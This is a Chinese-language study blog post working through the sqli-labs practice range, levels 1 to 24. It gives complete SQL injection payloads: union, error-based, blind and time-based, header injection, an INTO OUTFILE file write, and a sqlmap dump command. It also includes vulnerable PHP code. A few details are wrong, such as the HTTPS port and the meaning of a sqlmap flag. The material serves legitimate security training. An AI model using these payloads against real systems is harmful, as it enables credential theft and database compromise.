sql的相关学习以及靶场练习
-
Mysql增删改查 -
sql的相关学习 -
sqili-labs靶场练习 - 第一关(单引号封闭的字符型注入)
- 第二关(数字型注入)
- 第三关(括号与单引号封闭的注入)
- 第四关(双引号与括号封闭的字符型注入)
- 第五关(报错注入)
- 第六关(双引号闭合的报错注入)
- 第七关(单引号与双括号闭合的字符型注入)
- 第八关(盲注)
- 第九关(单引号闭合的时间盲注)
- 第十关(双引号闭合的时间盲注)
- POST类型sql注入
- 第十一关(post类型单引号闭合注入)
- 第十二关(post类型双引号与括号闭合注入)
- 第十三关(post类型单引号和括号闭合注入)
- 第十四关(post类型双引号闭合注入)
- 第十五关(post类型的布尔盲注)
- 第十六关(post类型的时间盲注)
- 第十七关(post类型UPDATE 报错注入)
- 第十八关(POST类型的Uagent字段数据头注入)
- 第十九关(post类型的Referer字段数据头注入)
- 第二十关(post类型的Cookie-Uagent字段数据头注入)
- 第二十一关(post类型的Cookie-Uagent字段base64编码注入)
- 第二十二关(post类型的Cookie-Uagent字段base64编码注入(双引号闭合))
- 第二十三关(GET类型的过滤注释)
- 第二十四关(post类型二次排序注入-存储型注入)
- 第二十五关(过滤and和or,双写绕过)
- 第二十五a关(基于GET盲注整形单引号)
- 第二十六关(过滤and和or,#和--,斜杠和空格)
- 第二十六a关(括号闭合,没有报错信息)
- 第二十七关(过滤了union和select)
- 第二十七a关(双引号闭合)
- 第二十八关(忽略大小写)
- 第二十八a关(只对union select进行了过滤)
- 第二十九关(HTTP参数污染)
- 第三十关(双引号闭合)
- 第三十一关(双引号括号闭合)
- 第三十二关(宽字节注入)
- 第三十三关(宽字节注入)
- 第三十四关(post类型宽字节注入)
- 第三十五关(联合查询宽字节注入)
- 第三十六关(mysql_real_escape_string进行转义)
- 第三十七关(post类型mysql_real_escape_string函数转义)
- 第三十八关(堆叠注入)
- 第三十九关(整形闭合堆叠注入)
- 第四十关(单引号加括号闭合堆叠注入)
- 第四十一关(id为整数堆叠注入)
- 第四十二关(post类型堆叠注入)
- 第四十三关(post类型堆叠注入)
- 第四十四关(post类型堆叠注入)
- 第四十五关(post类型堆叠注入)
- 第四十六关(order by注入)
- 第四十七关(order by注入)
- 第四十八关(order by延时注入)
- 第四十九关(order by延时注入)
- 第五十关(order by注入)
- 第五十一关(单引号闭合order by注入)
- 第五十二关(order by堆叠注入)
- 第五十三关(单引号闭合堆叠注入)
- 第五十四关(次数限制)
- 第五十五关(括号闭合限定次数)
- 第五十六关(单引号与括号闭合限定次数)
- 第五十七关(双引号闭合限定次数)
- 第五十八关(报错注入限定次数)
- 第五十九关(整形注入限定次数)
- 第六十关(双引号括号闭合限定次数)
- 第六十一关(单引号与两个括号闭合限定次数)
- 第六十二关(盲注限定次数)
- 第六十三关(单引号闭合盲注限定次数)
- 第六十四关(双括号闭合盲注限定次数)
- 第六十五关(双引号与双括号闭合盲注限定次数)
- 第五十五关(括号闭合限定次数)
- 第五十六关(单引号与括号闭合限定次数)
- 第五十七关(双引号闭合限定次数)
- 第五十八关(报错注入限定次数)
- 第五十九关(整形注入限定次数)
- 第六十关(双引号括号闭合限定次数)
- 第六十一关(单引号与两个括号闭合限定次数)
- 第六十二关(盲注限定次数)
- 第六十三关(单引号闭合盲注限定次数)
- 第六十四关(双括号闭合盲注限定次数)
- 第六十五关(双引号与双括号闭合盲注限定次数)
Mysql增删改查
增 | insert |
---|---|
删 | delete |
改 | update |
查 | select或show |
http协议
1.HTTPS 协议是 HyperText Transfer Protocol Secure(超文本传输安全协议)的缩写,是一种通过计算机网络进行安全通信的传输协议。
2.HTTPS 经由 HTTP 进行通信,但利用 SSL/TLS 来加密数据包,HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换资料的隐私与完整性。
3.HTTP 的 URL 是由 http:// 起始与默认使用端口 80,而 HTTPS 的 URL 则是由 https:// 起始与默认使用端口44
HTTP 是无连接:无连接的含义是限制每次连接只处理一个请求,服务器处理完客户的请求,并收到客户的应答后,即断开连接,采用这种方式可以节省传输时间。
HTTP 是媒体独立的:这意味着,只要客户端和服务器知道如何处理的数据内容,任何类型的数据都可以通过HTTP发送,客户端以及服务器指定使用适合的 MIME-type 内容类型。
HTTP 是无状态:HTTP 协议是无状态协议,无状态是指协议对于事务处理没有记忆能力,缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大,另一方面,在服务器不需要先前信息时它的应答就较快。
HTTPS:主要作用是在不安全的网络上创建一个安全信道,并可在使用适当的加密包和服务器证书可被验证且可被信任时,对窃听和中间人攻击提供合理的防护。
HTTPS 的信任基于预先安装在操作系统中的证书颁发机构(CA)。
因此,与一个网站之间的 HTTPS 连线仅在这些情况下可被信任:
浏览器正确地实现了 HTTPS 且操作系统中安装了正确且受信任的证书颁发机构;
证书颁发机构仅信任合法的网站;
被访问的网站提供了一个有效的证书,也就是说它是一个由操作系统信任的证书颁发机构签发的(大部分浏览器会对无效的证书发出警告);
该证书正确地验证了被访问的网站(例如,访问 https://www.runoob.com 时收到了签发给 www.runoob.com 而不是其它域名的证书);
此协议的加密层(SSL/TLS)能够有效地提供认证和高强度的加密。
sql的相关学习
参考资料:CSDN博主「未完成的歌~」的原创文章
sqli-labs靶场主要是进行sql注入的练习
1、什么是SQL注入?
SQL注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过构造SQL语句与后台数据库进行交互,达到获取或修改一些敏感数据,或者利用潜在的数据库漏洞进行攻击的目的。
2、SQL注入原理:
SQL注入是发生于 Web 应用与数据库层的安全漏洞,漏洞的本质是代码和数据未分离,通过在用户可控参数中注入SQL语句,若程序未对输入的指令进行合法性判断,注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,达到编写程序时意料之外结果的攻击行为。
SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。
3、注入漏洞分类:
常见的SQL注入类型包括:数字型 和 字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
1.数字型注入
当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
假设有URL http://www.xxx.com/test.php?id=3
猜测其语句为 select * from table where id=3
进行如下三步测试可以确定是否是数字型注入
1、加 单引号,URL:http://www.xxx.com/test.php?id=3'
对应的SQL:select * from table where id=3'
这时SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。
2、加 and 1=1 ,URL:http://www.xxx.com/test.php?id=3 and 1=1
对应的SQL:select * from table where id=3 and 1=1
语句执行正常,返回数据与原始请求无任何差异。
3、加a nd 1=2,URL:http://www.xxx.com/test.php?id=3 and 1=2
对应的SQL:select * from table where id=3 and 1=2
语句执行正常,但却无法查询出数据,因为and 1=2始终为假。所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入。
2.字符型注入:
当输入的参数为字符串时,称为字符型。数字型与字符型注入的最大区别在于:数字型不需要单引号来闭合,而字符串类型一般要使用单引号来闭合的。
∘
\circ
∘数字型语句:select * from table where id =3
∘
\circ
∘字符型语句:select * from table where username ='admin'
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
当查询内容为字符串时 select * from table where username ='admin'
进行如下三步测试可以确定是否是字符型注入
1、加单引号:select * from table where username ='admin''
,由于加单引号后变成三个单引号,无法执行,程序会报错。
2、加and 1=1(或者1=2,结果是一样的,可以根据这里判断是数字型还是字符型) 此时SQL语句为:
select * from table where username='admin and 1=1'
,也无法进行注入,因为admin and 1=1
会被数据库当作查询的字符串。这时想要进行注入,则必须注意字符串闭合问题。
3、加'and 1=1--+
(and 前面的单引号闭合'admin'
,--
注释后面的单引号 )就可以继续注入,SQL语句如下:
select * from table where username ='admin' and 1=1--+'
当输入'and 1=2--+ 时
,就和上面数字型同理,语句执行正常,但却无法查询出数据。
总结:数字型注入不需要闭合单引号以及注释;字符型注入必须闭合单引号以及注释多余的代码。
Mysql常用注释符:
--
:注意,这种注释符后边有一个空格,+
会在传递中变成空格。在GET中通常写为--+
,在POST中可以直接--空格
#
:通过#
进行注释,URL编码为%23
,在GET中使用%23
,在POST 中使用#
3.其他类型
总的来说,SQL注入只分为 “数字型” 与 “字符型”,因为对数据库进行数据查询时,输入数据一般只有两种:一个是数字类型。
但是还有一些习惯的叫法,主要通过注入位置进行分辨
POST注入:注入字段在 POST 数据中
Cookie注入:注入字段在Cookie数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地点
base64注入:注入字符串需要经过base64加密
4.基础知识
1.系统函数
- version()——Mysql版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@basedir——获取安装路径
- @@version_compile_os——操作系统版本
2.字符串连接函数
concat(str1,str2,…)
—— 没有分隔符地连接字符串(sqlite不支持concat,用||实现,mysql支持concat)
例:
concat('11','22','33') :112233
-
concat_ws(separator,str1,str2,…)
—— 含有分隔符地连接字符串,第一个参数是其它参数的分隔符。
例:concat_ws(':','11','22','33') :11:22:33
-
group_concat(str1,str2,…)
—— 使多行数据在一行显示,并以逗号分开
例:group_concat( DISTINCT str1 Order BY 排序字段 ASC/DESC separator '分隔符')
参数:
[DISTINCT]
:可选关键字,如果想要一组内的结果没有重复元素,则就带上这个关键字
str1
:要连接的字符串
Order BY 排序字段 ASC/DESC
:可选关键字,如果组内元素需要排序,则带上它
separator
‘分隔符’:一个组内以什么样的分割符进行连接,默认的情况下是以逗号的形式连接。
3.常见的闭合符号
$id
'$id'
"$id"
($id)
('$id')
("$id")
(('$id'))
4.系统数据库
系统数据库information_schema,存储着所有的数据库的相关信息,里面有三张表:
-
information_schema.schemata:包含所有库 库名的表
常用字段:schema_name 数据库名 -
information_schema.tables:包含所有库 表名的表
常用字段:table_name 表名;table_schema 数据库名 -
information_schema.columns:包含所有库 表字段的表
常用字段:column_name 列名;table_schema 数据库名;table_name 表名
一般的,我们利用该表可以进行一次完整的注入,流程如下:
1.猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’
获取某列的内容
Select *** from ***
sqili-labs靶场练习
1.爆数据库名
-1 union select 1,database()
2.爆表名
-1 union select 1,(select table_name from information_schema.
tables where table_schema='sqli' limit 0,1)
3.爆字段名
-1 union select 1,(select column_name from information_schema.
columns where table_schema='sqli' and table_name='flag' limit 0,1)
4.报字段内容
-1 union select 1,(select flag from sqli.flag limit 0,1)
第一关(单引号封闭的字符型注入)
1.由题可知是判断是要输入id,首先判断是什么类型注入
用and 1=1 and 1=2判断
url地址中输入www.xxxx.com/ccc.php?id=x and 1=1
页面显示正常,继续下一步
url地址中输入www.xxxx.com/ccc.php?id=x and 1=2
页面错误,说明存在数字型注入。
若没有语法错误则是字符串注入
返回正常的话,说明为字符型注入
2.依次输入or 1=1,and 1=1,and 1=2
前面两个恒为真,数据显示如下
第三个为假,结果如下
说明存在注入点
3.猜字段数
使用order by进行判断,有几列信息(字段数)
?id=1' order by 3 --+
从1开始直到4,发现3的时候没异常,但是4的时候报错,说明没有第四个字段即没有第四列
4.union select 判断回显
将id改为数据库中不存在的值,使用union select 1,2,3联合查询语句查看页面是否有显示位
?id=-1' union select 1,2,3 --+
页面回显2,3出现在页面上,所以可以对2,3所在位置加以利用
5.获取当前数据库
判断了回显的位置即可由此得到数据库的信息
union select 1,2,database() --+
得到数据库:security
6.获取数据库中的表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
得到security的所有表:emails,referers,uagents,users
7.获取列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
((不加andtable_name='users’会显示所有表的列名,不利于查找我们想要的列名))
得到users列名:id,username,password;
8.得到数据
- 第一种方法
union select 1,username,password from users limit 0,1 --+
这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码
得到数据:Dumb ,Dumb
- 第二种方法
union select 1,2,group_concat(username,0x3a,password) from users --+
0x是十六进制标志,3a在ASCII码中表示为“:”,用以分隔username和password
第一关结束
第二关(数字型注入)
1.判断是什么类型的输入
输入and1=1
and1=2
说明此处1=2进行了逻辑判断,此处为数字型注入
2.猜字段数
输入4时报错,说明字段数为3
3.判断回显位
?id=-1 union select 1,2,3
4.获取数据库名
?id=-1 union select 1,database(),3
数据库名为security
5.获取security表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
表名为emails,referers,uagents,users
6.获取users列名
7.得到username,passwoed的数据
输入?id=-1 union select 1,group_concat(username,0x3a,password),3 from users
第三关(括号与单引号封闭的注入)
1.判断是什么类型注入
通过 and 1=1,and 1=2的步骤后,发现既不满足单纯的数字型注入,又不满足单纯的字符型注入,查看php后发现是带括号的字符型注入
但是不是任何时候都能查看到php,从报错内容可以得出注入点两侧是有单引号的,故猜想此处为特殊形式的字符型注入
如下是常见的闭合方式
$id
'$id'
"$id"
($id)
('$id')
("$id")
(('$id'))
此处猜想是用括号与单引号闭合
用?id=1') and 1=1 --+
与?id=1') and 1=2 --+
验证
结果如下
证明猜想正确
2.用order by查字段数
字段数为4时报错,说明字段数为3
3.用union select判断回显位置
4.用database()查数据库表名
5.用group_concat(table_name)查表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
6.用group_concat(column_name)查列名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
7.获得数据
- 第一种
union select 1,username,password from users limit n,m --+
(n从一往上涨,每个n对应一组数据,m为任意数)
- 第二种
union select 1,2,group_concat(username,0x3a,password) from users --+
第四关(双引号与括号封闭的字符型注入)
1.判断是什么类型的注入
通过报错可以判断此时应该是双引号带括号的闭合形式(从php也能看出来)
2.用order by判断字段数
共三个字段
3.union select判断回显数
4.用回显位找数据库名
5.用group_concat(table_name)找表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
6.用group_concat(column)找列名
7.limit语句查找数据
第五关(报错注入)
报错注入详解
参考文献1
参考文献2
报错注入是SQL注入的一种。
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息
1.floor报错注入
关键函数:
Rand() -------产生0~1的伪随机数
Floor() -------向下取整数
Concat() -----连接字符串
Count() ------计算总数
floor()报错注入是利用count()、rand()、floor()、group by
这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by
冲突报错。
Payload如下:
Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from
表名 group by x;
报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
原理分析:
1.使用floor与rand()嵌套,可以产生一组十分重要的数列(011011011…….)无限重复
2.然后,我们来分析一下count()和group by连用的情况
这是user表中数据
对user表按照id查询每个id出现的总数
深入剖析一下原理,主要分以下几个步骤:
1.建立虚拟表,其中key是主键,不能重复
2.开始从原始表中查询数据,取第一条查看虚拟表中是否存在该数据,不存在则插入新数据,存在则count(*)字段直接加1。
3.重复步骤2,直至原始表中数据被全部取完
但是,当遇上我们刚刚构造的011011这个神奇的数列的时候,就会出现一个大问题。这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错,当我们使用这个数列的时候会造成主键重复,抛出错误。
主键重复过程:
1.构造虚拟表
2.第一次运算group by后面的floor(rand(0)*2),得到0值,将该值与虚拟表中进行比对,发现没有此值,故做插入处理,但当插入时进行了第二次运算,取1值,并彻底插入虚拟表中,结果如下:
3.继续,取第二个值1(这时已经是第三次运算后的值了)在虚拟表中比对,发现有值,所以count加1
4.当取第三个值0(这里因为是第四次运算所以取0)时,并未在虚拟表中找到该值,所以做插入处理,当插入时进行了第五次运算,变成了1进行插入,又因为表中已经存在1的主键,故产生主键重复错误,抛出异常(主键1重复)。
整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。
2.利用updatexml(extractvalue)来xpath报错
引用文章
1.updatexml()函数分析
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容
说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径
2.extractvalue()函数分析
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容
说白了这个就是找一个xml并返回内容,xpath就是xml的路径
函数报错原因
可以看到上面两函数里都有xpath路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行
都回显了~字符
注入利用
知道了函数报错的原因,我们就可以利用SQL语句里面的字符串联合函数concat、group_concat等,将特殊字符跟SQL语句联合起来,产生报错,并返回SQL语句的执行结果,下面是简单的报错注入利用
select updatexml(1,concat("~",database()),1)
select extractvalue("a",concat("~",database()))
而在实战操作中就得用管道符(||或&&)或者是逻辑连接符(or或and)将语句连接,配合使用了,一般来说and和||比较好用
报错注入的缺陷及解决方法
报错注入好用是好用,但是报错回显的内容一般只有32位长度的字符串,这时候我们就可以用字符串截断函数截断查询的SQL语句,来回显32位后面的内容了,常用的字符串截断函数有letf、right、mid、substr等等,以最常用的mid为例
进行截断的时候就用mid(sql语句,32,32),mid(sql语句,64,32)
1.找注入类型
未报错
判断闭合方式,只有输入’时报错,判断此为单引号闭合的字符型注入
2.判断字段数
易知字段数为3
3.判断回显位
无回显位,尝试报错注入
4.爆库名
?id=1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a --+
5.爆表名
?id=-1' union select count(*),1,concat((select table_name
from information_schema.tables where table_schema=
"security"limit 3,1),floor(rand()*2)) as a from
information_schema.tables group by a --+
6.爆字段名
?id=-1' union select count(*),1,concat((select
column_name from information_schema.columns where
table_schema="security" and table_name="users"limit(2,1)
,floor(rand()*2)) as a from information_schema.
columns group by a --+
7.爆数据
用户名
密码
第六关(双引号闭合的报错注入)
1.判断注入类型
通过
?id=1' and 1=1--+`;`?id=1' and 1=2--+;
?id=1" and 1=1--+; ?id=1" and 1=2--+;
判断为双引号闭合的字符型注入
2.判断回显位
易知无回显位,采用报错注入
3.爆数据库名
/?id=1" union select 1 ,count(*),concat((select database()),floor(rand()*2))
a from information_schema. tables group by a --+
4.爆表名
?id=-1" union select count(*),1,concat((select table_name
from information_schema.tables where table_schema=
"security"limit 3,1),floor(rand()*2)) as a from
information_schema.tables group by a --+
5.爆字段名
?id=1’“and (select 1 from (select count(*),concat((select concat(column_name,‘;’) from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
6.爆数据
?id=1" and(select 1 from (select count(*),concat((select concat(username,‘: ‘,password,’;’) from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)–+
第七关(单引号与双括号闭合的字符型注入)
1.判断是什么类型注入
通过?id=1')) and 1=2--+
与?id=1')) and 1=1--+
判断,该注入类型为单引号与双引号闭合的字符型注入
2.本题没有报错显示,没有回显位,题目提示使用outfile
什么是outfile?
在MySQL里面使用select … into outfile可以把数据导出到文本文件上
里面有几个参数
secure_file_priv 用来限制导出效果。他有三个属性:
null限制不能导出
为空可以自定义
为一个路径则只能导出到指定路径
datadir是MySQL数据存储位置,是默认的相对位置。
查询时候加上@@ 如@@secure_file_priv、@@datadir
(39条消息) sqli-labs第七关(详讲)_永远是深夜有多好。的博客-CSDN博客_sqli-labs第七关
参考文章
平时写代码的过程中可能看到过某些语句,比如说:
select [column...] from [table_name] into outfile [path];
这个语句通常是可以用于导出数据信息的,但是也可以被sql注入利用
本关卡提示使用file权限向服务器写入文件,先查看是否有写入权限。
?id=1')) and (select count(*) from mysql.user)>0--+`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKGiurIP-1678187793401)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230223110833670.png)]返回正常,说明有写入权限。
.利用into outfile 进行演示:
?id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" -- #
第八关(盲注)
盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
【之前在做联合注入第一关的时候,用union select语句注入,想要查询的信息是回显在Your password和 Your Login name后面,如下图。但是盲注不会回显让你直白的看出信息的(但是可能会有一些间接的回显信息),所以只能通过另外一种方式去获取我们的信息】
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
盲注分为两类:
1、布尔盲注——》 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2、时间盲注——》 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
需要用到的函数:
Length()函数 返回字符串的长度
Substr()截取字符串Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
什
布尔盲注思路分析
不管是什么盲注,思想都是一样的——》爆破思想,也就是一个一个去尝试获得我们想要的数据
“盲”、“爆破思想”
布尔盲注的过程
1、找到注入点以及适合的注入语句(有些可能被过滤)
根据回显的不同来形成布尔盲注的判断条件
2、选择合适的字典,进行爆破(一般会选择26个字母+数字的组合)
可以使用burp suite自带的脚本(intruder),我们只需要提供字典来爆破
也可以自己写一个Python脚本来爆破出结果,利用Python的requests库
易判断为单引号闭合的字符型注入
无回显位,进行布尔盲注
1.爆数据库长度
判断长度,依次网上升,到8时无显示位
?id=1' and length(database())>1 *--+*
故判断数据库名字为8个字符
2.爆数据库名字
?id=1' and ascii(substr((database()),1,1)) > 80 --+
不断修改数值
3.爆表名
判断表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ (结果为4)
判断第一个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+(结果为6)
判断表的字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+
再第一张表中我们只需要修改红字部分进行注入
4.爆字段
获取字段列数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+
可判断列数为3
获取字段列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+
这样下来程序太复杂了,所以尽量选择工具
第九关(单引号闭合的时间盲注)
尝试后发现,无论id正确与否,回显都是一样的
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(2),1)--+
和布尔盲注思路差不多,一直尝试,根据请求的延时判断真假
第十关(双引号闭合的时间盲注)
这里尝试使用下sqlmap
1.构建payload,本关为双引号闭合,通过执行的时间进行判断猜测的对错
http://sqllab/Less-10//index.php?id=1" and if((length(database())=8),sleep(5),1)–+
2.脚本编写
sqlmap -u "http://sqllab/Less-10?id=1“ --technique T -D security -T users -C username,password --dump --threads 10 --batch
-u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1"
:指定要测试的目标URL,这里是一个SQL注入漏洞的示例网站;--technique T
:指定使用所有可用的SQL注入技术进行测试;-D security
:指定要注入的数据库名为"security";-T users
:指定要注入的表格名为"users";-C username,password
:指定要获取的列名为"username"和"password";--dump
:如果成功注入,则尝试从指定的表格中获取数据;--threads 10
:指定使用10个线程进行测试;--batch
:启用批处理模式,以避免与用户交互。
POST类型sql注入
获取列数
uname=admin' order by 2#&passwd=1
爆破数据
库
uname=admin' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)#&passwd=1
表
uname=admin' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=1
字段
uname=admin' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1
数据
uname=admin' and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=1
这里的一些问题:
- 为什么要and 1=2“
因为1=2永远是假的,可以导致第一个查询语句为错误的,从而使得联合查询的语句返回正确的位置
- 那为什么不能将user中的值改为数据库中不存在的呢?
有些情况下,目标应用程序可能会进行安全检查,以确保查询中的参数值是有效的。如果应用程序发现查询中的参数值不在数据库中,它可能会返回一个错误信息或者拒绝执行该查询。此外,一些数据库管理系统还可能对查询中的参数值进行过滤或者转义,以避免SQL注入攻击。
- #明明都注释了后面的内容,为什么还要写&passwd=1?
&passwd=1"是作为一个假参数,用于绕过某些安全措施。有些Web应用程序会对没有任何参数的HTTP请求进行过滤,以防止SQL注入攻击等。因此,攻击者可能会添加一个假参数,以使请求看起来更加正常,从而绕过这种过滤措施。
这是第一次进行注入时思考的问题,当时如上修改时都跳转不到正常界面,但是重开了一下网站后,上面的两个问题,在本靶场都是可以使用的,但是还是建议使用原句中语句
第十一关(post类型单引号闭合注入)
使用简单的绕过即可
第十二关(post类型双引号与括号闭合注入)
输入双引号引起了报错,通过报错信息可以查看到是双引号加括号的闭合方式
第十三关(post类型单引号和括号闭合注入)
第十四关(post类型双引号闭合注入)
看报错信息
第十五关(post类型的布尔盲注)
使用布尔盲注和时间盲注都可以
数据库名长度
admin' and length (database())>1#&passwd=1
数据库名称
admin' and ascii(substr((database()),1,1)) > 80 #&passwd=1--+
表数量
admin' and (select count(table_name) from information_schema.tables where table_schema=database())>3 # &passwd=1 --+
第一个表的长度
admin' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 # &passwd=1 --+
判断表的名称
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 # &passwd=1--+
判断字段列数
admin' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 # &passwd=1 --+
判断字段列名
admin' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 # &passwd=1--+
第十六关(post类型的时间盲注)
和get类型时间盲注相同,格式改为与上一关一样即可,此处不在赘述
第十七关(post类型UPDATE 报错注入)
username字段的过滤比较多,进行passwd的报错注入即可,格式同前几关相同,报错注入语句看get传参时的语句即可
第十八关(POST类型的Uagent字段数据头注入)
-
页面显示yourip应该是请求头的参数参入
-
同时post传入并未有该参数
-
用admin登录成功后发现有User-agents显示
-
无法使用hackbar插件提交了,需要用到burpsuit进行抓包提交
-
抓包如下
-
在user-agent头上加单引号报错,确定user-agent注入了
2.通过单引号闭合进行payload构造
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1
3.构造报错注入的payload
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)’ and (updatexml(1,concat(0x7e,user(),0x7e),1)) and ‘1’ = '1
第十九关(post类型的Referer字段数据头注入)
Referer注入是一种Web应用程序中的安全漏洞,主要是由于开发人员在处理HTTP Referer头时没有进行正确的输入验证和过滤导致的。攻击者可以通过篡改HTTP Referer头的值来欺骗Web应用程序执行恶意操作,例如将用户重定向到恶意网站、访问未授权的资源等
构建的payload和上关一样
第二十关(post类型的Cookie-Uagent字段数据头注入)
有cookie的回显,进行相关注入
和前两关一样,只是payload的位置不同
第二十一关(post类型的Cookie-Uagent字段base64编码注入)
将payload进行base64编码即可
第二十二关(post类型的Cookie-Uagent字段base64编码注入(双引号闭合))
第二十三关(GET类型的过滤注释)
注入点判断
- 老办法单引号反斜杠试了下确实报错
- 但注释过不了怀疑注释有过滤
- 查看源代码,发现将#和–替换成空了
于是构建payload:?id=-1’ union select 1,(select group_concat(username,password ) from users),3 and ‘1’ = '1
不能用#和–+注释,就写个成立的条件
第二十四关(post类型二次排序注入-存储型注入)
修改密码加反斜杠重新登录未见报错,查看源代码一探究竟
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
-
有新用户注册文件 New_user.php
-
修改密码文件 pass_change.php
-
登录文件 login.php
-
都使用了mysql_real_escape_string函数对注册的参数进行过滤
它会将
\0
,\n
,\r
,\
,'
和"
这些特殊字符进行转义,使其变成可以安全插入到MySQL数据库中的字符串 -
但在修改密码文件中却是直接调用username参数
-
mysql_affected_rows是一个PHP MySQL扩展库中的函数,用于获取前一次MySQL操作(INSERT,UPDATE或DELETE)对于表中受影响的行数。
例如,如果你执行了一个UPDATE查询,修改了5行,那么
mysql_affected_rows()
将返回5。需要注意的是,
